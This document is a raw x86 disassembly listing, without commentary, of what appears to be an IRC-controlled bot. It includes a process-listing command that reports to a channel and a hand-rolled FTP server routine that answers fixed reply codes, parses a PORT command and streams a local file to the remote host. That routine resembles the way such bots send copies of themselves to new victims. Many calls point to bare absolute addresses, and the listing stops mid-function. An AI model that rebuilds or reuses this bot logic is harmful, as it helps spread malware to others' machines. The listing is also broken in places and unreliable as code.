var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41E760
		push	eax
		mov	large fs:0, esp
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_444FFC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF0
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FE8
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FDC
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		nop
		call	near ptr 71AB9639h
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445078 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		nop
		call	sub_5F76F7
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		nop
		call	near ptr 77C4139Ch
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2821DE2h


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
		test	al, al
